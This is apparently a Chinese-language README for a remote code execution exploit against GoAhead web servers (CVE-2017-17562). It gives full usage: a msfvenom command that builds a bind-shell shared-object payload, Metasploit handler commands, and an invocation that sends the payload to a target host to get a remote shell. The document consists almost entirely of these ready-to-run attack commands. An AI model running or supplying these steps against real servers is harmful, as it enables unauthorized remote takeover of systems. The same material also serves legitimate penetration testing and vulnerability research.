针对 CVE-2017-17562 漏洞的利用工具,当 GoAhead(< v3.6.5)启用 CGI 且 CGI 程序为动态链接时,可实现 RCE。
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
$ python3 -m pip install -r requirements.txt
你需先生成 Payload 并设置监听连接。
示例:
(攻击者:192.168.1.100 - 目标:192.168.1.200)
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337
随后,在另一个终端中运行此 Exploit,发送 Payload 以启动反向连接至监听器!
必需参数:
--host HOST 运行 GoAhead Web 服务器的主机。
--port PORT 运行 GoAhead Web 服务器的端口。默认:80
--payload PAYLOAD Payload 文件路径。
可选参数:
--ssl 主机使用 SSL。
--cgi LIST 用于发现 GoAhead 服务器上 CGI 脚本的路径列表。默认:paths.lst
$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl